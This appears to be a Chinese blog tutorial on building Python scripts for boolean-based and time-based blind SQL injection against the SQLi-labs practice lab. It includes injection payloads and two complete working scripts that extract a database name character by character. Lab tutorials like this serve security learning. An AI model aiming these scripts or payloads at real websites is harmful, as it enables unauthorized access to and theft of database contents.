python编写SQL自动注入脚本
2021/8/9 19:06:11
本文主要是介绍python编写SQL自动注入脚本,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
python编写SQL自动注入脚本
本篇文章介绍使用python编写SQL自动注入脚本,主要是进行get盲注。不同于报错注入,在进行盲注的时候,通常不能通过页面返回内容获得信息,如表名,字段名等,而是需要通过构造SQL语句注入,查看页面返回信息或响应时间来判断。这里实现两种盲注方式,基于布尔的盲注和基于时间的盲注。
目录
-
搭建环境
-
基于布尔的盲注
-
基于时间的盲注
一、搭建环境
- 搭建SQLi-labs靶场环境,网上也有很多教程,可以参照sqli-labs下载与安装进行搭建。
二、基于布尔的盲注
使用sqli-labs中的Less-8进行实验,进行判断数据库名。
- 首先判断数据库名长度,使用
?id=1' and length(database())=1 --+
判断数据库名长度是否为1,返回异常。
- 依次进行判断,当使用
?id=1' and length(database())=8 --+
时,返回成功,说明数据库名长度是否为8。
- 当得到数据库名长度后,使用
?id=1' and substr(database(),1,1)='字母'--+
判断数据库名。
代码实现
import requests import string url = "http://10.16.53.180/newsqli/Less-8/" normalHtmlLen = len(requests.get(url=url+"?id=1").text) print("The len of HTML:"+str(normalHtmlLen)) dbNameLen = 0 while True: dbNameLen_url = url + "?id=1'+and+length(database())="+str(dbNameLen)+"--+" print(dbNameLen_url) if len(requests.get(dbNameLen_url).text) == normalHtmlLen: print("The len of dbName:"+str(dbNameLen)) break if dbNameLen == 30: print("Error!") break dbNameLen += 1 dbName = "" for i in range(1, dbNameLen+1): for a in string.ascii_lowercase: dbName_url = url + "?id=1'+and+substr(database(),"+str(i)+",1)='"+a+"'--+" print(dbName_url) if len(requests.get(dbName_url).text) == normalHtmlLen: dbName += a print(dbName) break
- 运行结果
- 可以看到数据库名长度为8,第一个字母为"s",接下来再判断剩下的字符,得到数据库名为security。
三、基于时间的盲注
使用sqli-labs中的Less-9进行实验,进行判断数据库名。
- 首先依然是判断数据库名长度,使用
?id=1' and if(length(database())=8,sleep(5),1) --+
,根据响应时间确定数据库名长度为8。
- 使用
?id=1' and if(substr(database(),1,1)='s',sleep(5),1) --+
,根据响应时间确定数据库名第一个字符为“s”,再依次对数据库名第1~8字符进行判断,最终得到数据库名称。
代码实现
import requests import string url = "http://10.16.53.180/newsqli/Less-9/" def timeOut(url): try: res = requests.get(url, timeout=3) return(res.text) except Exception as e: return("timeout") daNnamelen = 0 while True: daNnamelen +=1 dbNameLen_url = url + "?id=1'+and+if(length(database())="+str(daNnamelen)+",sleep(5),1)--+" print(dbNameLen_url) if "timeout" in timeOut(dbNameLen_url): print(daNnamelen) break if daNnamelen == 30: print("error!") break dbName = "" for i in range(1, 9): for a in string.ascii_lowercase: dbName_url = url + "?id=1'+and+if(substr(database(),"+str(i)+",1)='"+a+"',sleep(5),1)--+" print(dbName_url) if "timeout" in timeOut(dbName_url): dbName += a print(dbName) break
- 运行结果
- 可以看到数据库名长度为8,第一个字母为"s",接下来再判断剩下的字符,得到数据库名为security,如果想继续判断数据库使用的表名、字段名和字段值可以参考使用C#winform编写渗透测试工具--SQL注入,不过是使用盲注的方式获取。
这篇关于python编写SQL自动注入脚本的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-14获取参数学习:Python编程入门教程
- 2024-11-14Python编程基础入门
- 2024-11-14Python编程入门指南
- 2024-11-13Python基础教程
- 2024-11-12Python编程基础指南
- 2024-11-12Python基础编程教程
- 2024-11-08Python编程基础与实践示例
- 2024-11-07Python编程基础指南
- 2024-11-06Python编程基础入门指南
- 2024-11-06怎么使用python 计算两个GPS的距离功能-icode9专业技术文章分享